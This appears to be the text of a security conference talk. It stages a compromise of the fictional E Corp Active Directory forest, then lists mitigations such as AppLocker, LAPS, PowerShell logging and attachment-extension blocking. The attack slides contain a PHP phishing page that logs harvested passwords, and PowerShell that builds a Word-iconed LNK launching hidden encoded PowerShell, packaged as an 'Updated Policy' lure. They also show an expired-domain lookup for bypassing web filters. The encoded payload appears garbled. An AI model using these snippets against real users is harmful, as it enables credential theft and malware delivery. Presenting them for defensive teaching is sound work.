Attacking EvilCorp: Anatomy of a Corporate Hack
(aka How You Got Hacked)

Sean & Will
About Us
Will Schroeder (@harmj0y)

- Researcher at Veris Group’s ATD
- Co-founder: Veil-framework, PowerShell Empire, & Bloodhound
- Microsoft PowerShell MVP
- Speaker: ShmooCon, DEF CON, Derbycon, and various Security BSides
Sean Metcalf (@PyroTek3)

• founder Trimarc, a security company.
• Microsoft Certified Master (MCM) Directory Services
• Microsoft MVP
• Speaker: Black Hat, BSides, DEF CON, DerbyCon, Shakacon
• Security Consultant / Security Researcher
• Own & Operate ADSecurity.org (Microsoft platform security info)
The Setup
Set the Stage...

• Not your standard con presentation.
• Sean:
  • CIO of E Corp presents on their perfect security.
• Will:
  • Explains the problems with Evil Corp’s security posture.
  • Shows how in 20 minutes, he can compromise them.

After this “skit”, we switch back to more traditional presentation to cover real-world mitigations.
E Corp's Active Directory

• Multi-domain Active Directory forest
  • ADRoot: Parent domain
  • RnD: Research & Development
  • Corp: Primary domain (enterprise apps)
  • NA: North America
  • Europe: European resources
  • Asia: Asian resources

• Hundreds of Domain Controllers

• ~200k endpoints
  • Workstations, including laptops, tablets, & phones

• Thousands of Servers including Exchange, SharePoint, SQL, etc
Key Defensive Technology

• Next Gen internet firewalls
• Web content filters
• Email security appliances
• VPN security (2FA)
• Endpoint security: AntiVirus/HIDS/HIPS
E CORP  Security is the Best!
Security is the Best!

We are Un-Hackable!
The Categorization Problem...

```bash
root@E5459:/Tools/minentDomain# python eminentDomain.py
-findexpired -string evilcorp -limit 10 -o output.txt
[*] Searching for expired domains that match 'evilcorp'
[*] Limiting to first 10 results
[+] BlackDevilCorporation.de
[+] YourEvilCorporation.org
[+] YourEvilCorporation.info
[+] NonevilCorp.com
[+] LargeEvilCorporation.com
[+] LargeEvilCorp.com
[+] SuperEvilCorporation.com
[+] SuperEvilCorp.com
[+] krattosevilcorp.com
[+] YourEvilCorporation.com
[*] Found 10 expired domains, output saved to output.txt
root@E5459:/Tools/minentDomain#
```
WebPulse Site Review Request

The page you want reviewed is http://yourevilcorporation.com/  (Check another site)
This page is currently categorized as **Placeholders** ▲ Last Time Rated/Reviewed: September 21, 2016 07:10:50 GMT

If you feel these categories are CORRECT, click here to learn more about your Internet access policy.

If you feel these categories are INCORRECT, please fill out the form below to have the web page reviewed.

**Filtering Service:**

ProxySG

**Category or categories that this site belongs to (read descriptions):**

Education  Informational

**Send results of the review via email**

Email Address:  Cc Email Addresses (separated by commas):

**Comments and Site Description (please provide as much detail as possible):**

yourevilcorporation.com redirects to the wiki page for E-Corp, the fictional organization in the TV Show "Mr. Robot", as a service to USA Network
Submitted URL: http://yourevilcorporation.com/
Suggested categories: Education and Informational
Your comments: YourEvilCorporation.com redirects to http://mrrobot.wikia.com/wiki/E_Corp as a service to FX ---
--- New Comments --- YourEvilCorporation.com redirects to http://mrrobot.wikia.com/wiki/E_Corp as a service to FX. The redirect now functions correctly.

Reviewed: September 22, 2016 6:15:58 PM UTC

Based on your recommendation and after careful evaluation of the Web content submitted, a Web Content Analyst has categorized this URL as Entertainment and Reference.

Thank you,
OWA Clone
Cred Theft

```php
<?php
// file to write the credentials to
$file = '/var/www/data.txt';
$name = $_POST['cred_userid_inputtext'];
$pass = $_POST['cred_password_inputtext'];
$ts = date("Y-m-d h:i:s T (P) ", time());
file_put_contents($file, $ts . ' -- user: ' . $name . ' -- pass: ' . $pass . PHP_EOL, FILE_APPEND);
// Change below URL to the page you want to redirect the user to
?>

<meta http-equiv="refresh" content="0; url=https://login.microsoftonline.com/" />
```
OLE + LNK

PS C:\> $obj = New-Object -ComObject WScript.Shell
PS C:\> $link = $obj.CreateShortcut("Updated Policy.Lnk")
PS C:\> $link.WindowStyle = "?'
PS C:\> $link.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
PS C:\> $link.IconLocation = "C:\Program Files (x86)\Microsoft Office\root\Office16\winword.exe"
PS C:\> $link.Arguments = "-NoP -sta -NonI -W Hidden -Enc JAB3AGMAPQBOAGUAdwAtAE8AYbgBKAUEAYwbUACgUAdAuuAFcAZQQCAEMAhAAbpGAUAbgB0ADsAJAB1ADB0AJwBNAg8egBpACUAbhAC8ANQAAuADAIAt0AfcaaBuAGQAwb3AHA
AAUwBPAFcANgA0AAsAIABUAAHInaQBkAGUAbgB0AC8ANwAuADB00wAgAH1Adg6ADEMAQuADAKQAQgACUaAQBrgUA1ABHAG1
4ASABFAEAAERABEHAUAuAuAEEARABEAGaCQ0QQBaAGUbG0AcCAAAkAHUAQKA7ACQAuUB6AC4AUAByAE
MAAAB1AG00LgB0AQGIAuAAtAAnyArCQBB1AFL1ARQBAHUAQZBTAHQAQ6A6DaAAABFAGYAYQBUAGwAUABXGUAQgQAHIAbw4AFI
QgVAQAUAAUAGB1AAGQARQBaAFQaQBBAEwAUwAgAD0A1ABbAFMAeQBTAFQAZBtAC4A1gB1AFQAIgDADAFAIZQBEAGUAQgB0AOgBEAGUAbZgBAnHAUAHAbtAA tA4AQBUHAcbwByAGsAQwBSAGUARABAF4AdABpEEAATABtDAsJABLD0AAJwApAC4AZQAHAU
UAKBxAAYAQPQcAHUAYgAtAEIA0gBuAGwAcwBBAfYAXgB+AE4AJwA7ACQASQA9ADA0wBDAGMSABDAHIAWVbDF0AJAC1DE
0AKAAkAFCUuAeqAbwB3AE4AAbPAGEARAbTAFQAcgBpAC4AZwAaCIAAAkABBAQCAcAA6GAC8ALmAxADkAMgAuADEAg4AC
AA0RAuAGC8AAuQBUAGQAQQB4A4C4YQBzAUAAIgApACkAKQB8ACUnewAKAF8ALQBCAFgAbwBSACQAwBbACQAaQaACsAJQAKaG0
A0wBJAEUWAgACgAJABCAAC0AgBPAGKAbgAnACkAQA="
PS C:\>
PS C:\> $link.Save()
PS C:\>
Type the name of the file you want to package. If you prefer to search for the file, click Browse.

Filename:

C:\Updated Policy.lnk
OLE + LNK

Please find the updated HR policy below:

Updated Policy.docx

Open Package Contents - Security Warning

Do you want to open this file?

- Name: Updated Policy.docx
- Publisher: Unknown Publisher
- Type: Shortcut

[Open] [Cancel]
BloodHound

• Applies Graph Theory to Active Directory Attack Paths
  • Presented at DEF CON 24 w/ @_wald0 and @cptjesus

• The only information needed:
  • Who is logged on where?
  • Who has admin rights where?
  • What users and groups belong to what groups?

• PowerView can collect all of this information from an unprivileged user context!
Effective Mitigation & Detection

Layers Matter
Effective Mitigation: Initial Foothold

• Deploy EMET to workstations.
• Use AppLocker to block exec content from running in user locations (home dir, profile path, temp, etc).
• Manage PowerShell execution via Applocker or constrained language mode.
• Enable PowerShell logging (v3+) & cmd process logging.
• Block Office macros (Windows & Mac) where possible.
• Deploy security tooling that monitors for suspicious behavior.
Effective Mitigation: Initial Foothold

- Limit capability by blocking/restricting attachments via email/download:
  - Executables (ade, adp, ani, bas, bat, chm, cmd, com, cpl, crt, hlp, ht, hta, inf, ins, isp, job, js, jse, lnk, mda, mdb, mde, mdz, msc, msi, msp, mst, pcd, pif, reg, scr, sct, shs, url, vb, vbe, vbs, wsc, wsf, wsh, exe, pif, etc.)
  - Office files that support macros (docm, xlsm, pptm, etc.)

- Change default program for anything that opens with Windows scripting to notepad (test first!)
  - bat, js, jse, vbe, vbs, wsf, wsh, etc.
Effective Mitigation: Recon

• Deploy Windows 10 and limit local group enumeration.
• Limit workstation to workstation communication.
• Increase security on sensitive GPOs.
• Evaluate deployment of behavior analytics (Microsoft ATA).
Effective Mitigation: Lateral Movement

• Configure GPO to prevent local accounts from network authentication (kb2871997).
• Ensure local administrator account passwords are automatically changed (Microsoft LAPS) & remove extra local admin accounts.
• Limit workstation to workstation communication (Windows Firewall).
Effective Mitigation: Privilege Escalation

• Remove files with passwords in SYSVOL (including GPP).
• Ensure admins don’t log onto untrusted systems (regular workstations).
• Use Managed Service Accounts for SAs or ensure SA passwords are >25 characters (FGPP).
• Ensure all computers are talking NTLMv2 & Kerberos, deny LM/NTLMv1.
Effective Mitigation: Protect Admin Creds

• Ensure all admins only log onto approved admin workstations & servers.

• Add all admin accounts to Protected Users group (requires Windows 2012 R2 DCs).

• Admin workstations & servers:
  • Control & limit access to admin workstations & servers.
  • Remove NetBIOS over TCP/IP
  • Disable LLMNR.
  • Disable WPAD.
Effective Mitigation: Strengthen/Remove Legacy

• Audit/Restrict NTLM.
• Enforce LDAP signing.
• Enable SMB signing (& encryption where poss.).
• Disable WPAD & LLMNR & work to disable NetBIOS.
• Windows 10, remove:
  • SMB 1.0/CIFS
  • Windows PowerShell 2.0
Summary

• Once an attacker gets a foothold in your network, admin access is often quickly obtained.
• Model defenses based on typical attacker activity.
• Question how effective your current defenses are against modern attacks.
• Measure the environment to best effect change.
• Effective defense limits attacker capability & options.
THANK YOU!

- Justin Warner (@sixdub)
- Matt Nelson (@enigma0x3)
- Jessica Payne (@jepayneMSFT)
- Carlos Perez (@Carlos_Perez)
- Matt Graeber (@mattifestation)
- Lee Christensen (@tifkin_)

Slides:
presentations.ADSecurity.org

CONTACT:
Sean Metcalf (@Pyrotek3)
s e a n [ @ ] TrimarcSecurity.com
www.ADSecurity.org
TrimarcSecurity.com

Will Schroeder (@harmj0y)
w I l l [ @ ] harmj0y.net
blog.harmj0y.net
References

• PowerShell Empire
  http://www.powershellempire.com/

• Bloodhound
  https://github.com/adaptivethreat/BloodHound

• Investigating Subversive PowerShell Profiles

• Mimikatz DCSync Usage, Exploitation, and Detection
  https://adsecurity.org/?p=1729

• Golden Tickets with SIDHistory for “SID Hopping”
  https://adsecurity.org/?p=1640
References

- Microsoft: How to deal with Ransomware

- Determine File Extension Handling with ftype

- Microsoft Local Administrator Password Solution (LAPS)
  https://adsecurity.org/?p=1790

- Microsoft KB2871997

- Reading the fine print on the Protected Users Group
  https://blogs.technet.microsoft.com/askpfeplat/2016/04/04/reading-the-fine-print-on-the-protected-users-group/

- Microsoft Securing Privileged Access Reference Material